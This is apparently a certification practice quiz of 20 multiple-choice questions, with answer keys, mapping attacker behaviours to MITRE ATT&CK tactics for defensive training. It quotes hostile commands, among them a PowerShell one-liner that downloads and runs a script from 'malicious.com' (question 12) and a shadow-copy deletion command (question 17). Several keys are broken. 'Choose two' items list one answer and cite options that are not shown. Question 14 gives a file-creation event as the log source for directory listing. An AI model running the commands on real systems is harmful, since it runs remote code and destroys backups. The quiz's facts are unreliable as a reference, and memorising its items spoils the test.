CCOA Adversarial Tactics — 25 Questions

Question 1

In the context of the MITRE ATT&CK framework, what distinguishes 'T1059 Command and Scripting Interpreter' from 'T1204 User Execution'?

Accepted Answer

T1059 describes the execution mechanism, T1204 describes the delivery. T1059 focuses on the interpretation of code (PowerShell, Bash), while T1204 focuses on the user-driven triggering of the malicious file.

Answer

There is no distinction

Answer

T1059 is for Windows, T1204 is for Linux

Answer

T1059 is the technique, T1204 is the outcome

Question 2

You are configuring a YARA rule for CrowdStrike Falcon to detect Cobalt Strike Beacon traffic. Which specific technique should you look for in the process memory that indicates process hollowing?

Accepted Answer

WriteProcessMemory to a remote process. Process hollowing involves creating a legitimate process in a suspended state, unmapping its original code, and writing malicious code into its memory space before resuming it. The WriteProcessMemory API call to a remote process is the key indicator: it is used to inject the payload into the hollowed process's address space. Detecting WriteProcessMemory targeting another process's memory — especially combined with CreateProcess in a suspended state and ResumeThread — is a strong signal of process hollowing.

Answer

CreateServiceW

Answer

GetSystemTime

Answer

RegCreateKeyEx

Question 3

An adversary performs a 'Pass-the-Hash' attack. Which tactic does this primarily fall under?

Accepted Answer

Credential Access. Pass-the-Hash is used to authenticate as a user without needing the original password, serving the goal of Credential Access.

Answer

Initial Access

Answer

Exfiltration

Answer

Persistence

Question 4

During a simulation, you notice a process spawning child processes from 'wmic.exe'. What is this technique often used for?

Accepted Answer

Execution. WMIC is often used for remote execution and discovery in Windows environments.

Answer

Exfiltration

Answer

Collection

Answer

Impact

Question 5

Which TWO of the following are considered 'Defense Evasion' techniques?

Accepted Answer

Masquerading. Masquerading (A) is a Defense Evasion technique because an adversary manipulates, names, or renames legitimate system tools, files, or processes to make malicious activity appear benign, thereby bypassing security controls and evading detection. Indicator removal on host (D), such as clearing Windows Event Logs (e.g., wevtutil cl) or deleting files, is also Defense Evasion because it erases forensic artifacts that defenders and monitoring tools rely on to detect intrusions. Account manipulation (B) belongs to the Persistence tactic (creating or modifying accounts to maintain access), not Defense Evasion. Data staging (C) is part of the Collection tactic, where data is gathered and consolidated prior to exfiltration. Remote service creation (E) is a Persistence/Execution technique (e.g., creating a service via sc.exe or PsExec) used to run code, not primarily to evade defenses.

Answer

Account manipulation

Answer

Data staging

Answer

Remote service creation

Question 6

A threat hunter is reviewing logs for potential Defense Evasion techniques. Which TWO of the following activities are categorized under the Defense Evasion tactic in MITRE ATT&CK? (Choose two.)

Accepted Answer

Using rundll32.exe to execute a malicious DLL. Deleting event logs and using rundll32.exe for execution are both Defense Evasion techniques. They aim to remove evidence or bypass security controls by leveraging trusted binaries. The other options are Discovery, Process Injection (which can be Defense Evasion but is not the best fit here), and Persistence, respectively.

Answer

Enumerating local administrators using net localgroup

Answer

Scheduling a task to run a malicious script at logon

Answer

Injecting code into a remote process using CreateRemoteThread

Question 7

An analyst observes that an attacker has used the 'at' command to schedule a job that runs a reverse shell every hour on a compromised Linux server. Which tactic does this represent?

Accepted Answer

Persistence. Scheduling a recurring job with 'at' is a Persistence technique. It allows the adversary to maintain access by ensuring their payload executes at regular intervals, even after system restarts. This is a common method on Linux systems to keep a foothold without interactive access.

Answer

Defense Evasion

Answer

Privilege Escalation

Answer

Execution

Question 8

A security analyst is investigating an alert where a user received a document that, when opened, immediately spawned a child process of WINWORD.EXE. The child process then made a network connection to an external IP address. The analyst suspects a specific MITRE ATT&CK technique. Which technique is most likely being used?

Accepted Answer

T1203 Exploitation for Client Execution. The scenario describes a document that, when opened, spawns a child process of WINWORD.EXE and makes a network connection. This behavior is typical of exploiting a vulnerability in the client application (Word) to execute arbitrary code, which aligns with Exploitation for Client Execution. The other techniques, such as User Execution, Command and Scripting Interpreter, and Phishing, do not specifically capture the exploitation of the client software to achieve code execution.

Answer

T1059 Command and Scripting Interpreter

Answer

T1204 User Execution

Answer

T1566 Phishing

Question 9

A security analyst is reviewing DNS logs and observes a workstation repeatedly querying subdomains such as 'a1b2c3.data.evilcorp.com' and 'd4e5f6.data.evilcorp.com' at regular intervals, with each subdomain resolving to the same IP address. The workstation has no legitimate business need to contact evilcorp.com. Which ATT&CK technique is MOST likely being used?

Accepted Answer

T1071.004 Application Layer Protocol: DNS. The consistent, automated-looking DNS queries to subdomains of a single suspicious domain, with no business justification, are a classic indicator of DNS-based command and control. Attackers use the DNS protocol because it is often allowed through egress filtering and can carry encoded beaconing data. The technique is categorized under Application Layer Protocol: DNS, which covers using DNS for C2 communications.

Answer

T1204.002 User Execution: Malicious File

Answer

T1048.003 Exfiltration Over Unencrypted Non-C2 Protocol

Answer

T1568.002 Dynamic Resolution: Domain Generation Algorithms

Question 10

A security operations center (SOC) analyst is reviewing alerts related to credential dumping. The analyst observes several suspicious activities on a Windows endpoint. Which TWO of the following activities are considered Credential Access techniques according to MITRE ATT&CK? (Choose two.)

Accepted Answer

Accessing the Local Security Authority Subsystem Service (LSASS) process memory. Accessing LSASS process memory and dumping the Windows Registry hive containing password hashes are both direct methods of obtaining credential material. LSASS memory contains credentials such as NTLM hashes and Kerberos tickets, while the SAM/SECURITY hives store password hashes. These activities are classified under Credential Access in MITRE ATT&CK. The other activities are related to Persistence or Discovery, not Credential Access.

Answer

Capturing network traffic to extract cleartext credentials

Answer

Using WMI to query installed antivirus products

Answer

Creating a scheduled task to run a script at system startup

Question 11

A security operations center (SOC) receives an alert that a user's workstation is exhibiting unusual behavior: a scheduled task was created that runs a script from a temporary directory, and the script attempts to disable Windows Defender real-time protection. The user denies creating the task. Which ATT&CK tactic is PRIMARILY represented by the creation of the scheduled task?

Accepted Answer

Execution. Creating a scheduled task to run a script is a classic execution technique. It allows an adversary to run code, often at a specific time or with specific privileges, and can be used to launch payloads. Although scheduled tasks are also used for persistence, the primary tactic in this scenario is execution because the task is the vehicle for running the malicious script. The subsequent disabling of Defender is a separate defense evasion action.

Answer

Defense Evasion

Answer

Privilege Escalation

Answer

Persistence

Question 12

A security analyst is examining a suspicious PowerShell script that was executed on a host. The script contains the following line: `IEX (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')`. Which MITRE ATT&CK technique does this line most directly represent?

Accepted Answer

T1059.001 PowerShell. The PowerShell command uses IEX to download and execute a remote script, which is a direct use of PowerShell for execution. This aligns with T1059.001 PowerShell, a sub-technique of Command and Scripting Interpreter. The other techniques, such as Ingress Tool Transfer, User Execution, and Obfuscation, do not specifically capture the execution of code via PowerShell in this context.

Answer

T1027 Obfuscated Files or Information

Answer

T1105 Ingress Tool Transfer

Answer

T1204.002 User Execution: Malicious File

Question 13

An analyst is investigating an alert where a process named 'svchost.exe' is making an outbound HTTPS connection to an unknown IP address. The parent process of this svchost.exe is 'powershell.exe', which is unusual because svchost.exe is typically spawned by services.exe. The connection occurs every 30 seconds. Which ATT&CK technique is MOST likely being used by the attacker?

Accepted Answer

T1036.005 Masquerading: Match Legitimate Name or Location. The process named svchost.exe with powershell.exe as its parent is a strong indicator of masquerading, as legitimate svchost.exe is always spawned by services.exe. Attackers name their malware after legitimate system processes to avoid suspicion. The regular outbound connection is command and control, but the technique used to evade detection is masquerading. This aligns with matching a legitimate name or location.

Answer

T1055 Process Injection

Answer

T1071.001 Application Layer Protocol: Web Protocols

Answer

T1053.005 Scheduled Task/Job: Scheduled Task

Question 14

You are auditing an environment for 'T1083 File and Directory Discovery'. Which log source provides the most visibility into this activity?

Accepted Answer

Sysmon Event ID 11. File and Directory Discovery often involves listing files, which generates audit events when monitoring directory access via Sysmon Event ID 11 or Windows Security logs.

Answer

NetFlow

Answer

DHCP logs

Answer

Firewall logs

Question 15

While analyzing an EDR alert, you observe a process modifying 'HKLM\Software\Microsoft\Windows\CurrentVersion\Run'. What is the primary adversary objective at this stage?

Accepted Answer

Persistence. Modifying registry run keys is a standard technique to ensure a program executes automatically upon system startup, which defines Persistence.

Answer

Discovery

Answer

Execution

Answer

Privilege Escalation

Question 16

You are reviewing logs in Splunk and identify a suspicious process spawning 'cmd.exe' from 'wsmprovhost.exe'. Which MITRE ATT&CK tactic does this behavior most directly align with?

Accepted Answer

Lateral Movement. The spawning of a command shell from a remote management process is a classic indicator of Lateral Movement using remote execution.

Answer

Credential Access

Answer

Exfiltration

Answer

Persistence

Question 17

An adversary uses 'vssadmin.exe delete shadows /all /quiet' during an attack. Which tactic is this technique categorized under?

Accepted Answer

Impact. Deleting volume shadow copies with 'vssadmin.exe delete shadows /all /quiet' is a classic pre-ransomware step that removes the victim's ability to restore files from local backups. In MITRE ATT&CK, this maps to T1490 'Inhibit System Recovery,' which falls under the Impact tactic (A). The goal is to maximize the destructive effect of the subsequent encryption by eliminating recovery options.

Answer

Credential Access

Answer

Defense Evasion

Answer

Initial Access

Question 18

You are configuring Microsoft Defender for Endpoint. Which feature is most effective against 'T1566 Phishing'?

Accepted Answer

Email filtering policies. T1566 Phishing is an initial-access technique delivered primarily via email, so email filtering policies that block malicious senders, attachments, and URLs are the most direct and effective control. Defender for Endpoint integrates with Exchange Online Protection and Defender for Office 365 to inspect inbound mail and neutralize phishing before it reaches the endpoint. This addresses the attack at its delivery vector.

Answer

Network Isolation

Answer

Attack Surface Reduction (ASR) rules

Answer

Device Control

Question 19

Which action constitutes 'Discovery' as defined by the MITRE ATT&CK framework?

Accepted Answer

Running 'whoami' or 'net view'. Discovery involves gathering information about the system and network to plan subsequent steps.

Answer

Installing a backdoor

Answer

Deleting logs to hide traces

Answer

Encrypting files for ransom

Question 20

What is the purpose of 'T1027 Obfuscated Files or Information'?

Accepted Answer

To evade detection by signature-based tools. Obfuscation is used to hide code or scripts from static analysis and security tools, aiding Defense Evasion.

Answer

To escalate privileges

Answer

To increase execution speed

Answer

To facilitate lateral movement